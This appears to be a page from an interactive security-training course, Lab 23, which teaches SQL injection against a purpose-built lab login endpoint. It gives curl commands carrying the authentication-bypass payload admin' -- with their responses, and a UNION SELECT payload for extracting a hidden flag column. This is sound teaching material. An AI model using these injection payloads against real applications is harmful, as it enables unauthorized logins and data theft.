SQL Injection · Lab 23
Lab 23 Module 4 Medium

SQL Injection

A login form queries a database. It builds the query by concatenating your input. Add SQL syntax that changes the query — and you can log in without the password, or read data the form never intended to show you.

The rule: the login endpoint checks a username and password against a SQLite database. The query is built by string concatenation. Your job is to break the query — and then read the flag from a table the form never mentions.

Test

Copy these. Run them. Read what comes back.

Step 1 · Log in normally

Start with valid credentials. Confirm the endpoint works.

Terminal
curl -s -X POST "{LAB_API_BASE}/api/23/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"demo","password":"demo123"}'

What you'll see:

Response
{
  "ok": true,
  "user": "demo"
}

Works. Now send a normal but invalid combination.

Terminal
curl -s -X POST "{LAB_API_BASE}/api/23/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"demo","password":"wrong"}'

What you'll see:

Response
{
  "ok": false,
  "error": "invalid credentials"
}

Correctly refused. But the message doesn't tell you whether the failure came from the username or the password — the query just checks the whole row.

Step 3 · Break out of the query

The query is built roughly like this: SELECT * FROM users WHERE username = '<input>' AND password = '<input>'. Send a username that closes the quote and makes the check always true.

Terminal
curl -s -X POST "{LAB_API_BASE}/api/23/login" \
  -H "Content-Type: application/json" \
  -d "{\"username\":\"admin' --\",\"password\":\"anything\"}"

What you'll see:

Response
{
  "ok": true,
  "user": "admin",
  "note": "SQL injection — logged in as admin without a password"
}

The ' closed the string. The -- commented out the rest of the query, including the password check. The query became SELECT * FROM users WHERE username = 'admin' --' AND password = 'anything', and the database returned the admin row.

Challenge

Now do it yourself. No copy-paste. Everything you need is above.

There is a second endpoint: /api/23/search?q=. It searches a products table and returns matches. Same concatenation. The table has two columns: name and note. The note column holds the flag, but the search only displays name.

Use a UNION SELECT to make the search return the note column instead of the name. The product table has one row you can see by searching for widget — its name is widget. A query like ' UNION SELECT note FROM products -- should do it.

Send it URL-encoded. The flag is in the response.

This lab is free. The deep and the full knowledge is in the book. Full 30 Lessons

Lesson 23 — SQL Injection

You've practiced the exploit. Now learn why it happens, how attackers weaponize it, developer mistakes, how to fix it etc in the full Hunterlian book.

Buy the book

Already have the book? Back to reader →

Previous Lab 23 of 30 Next lab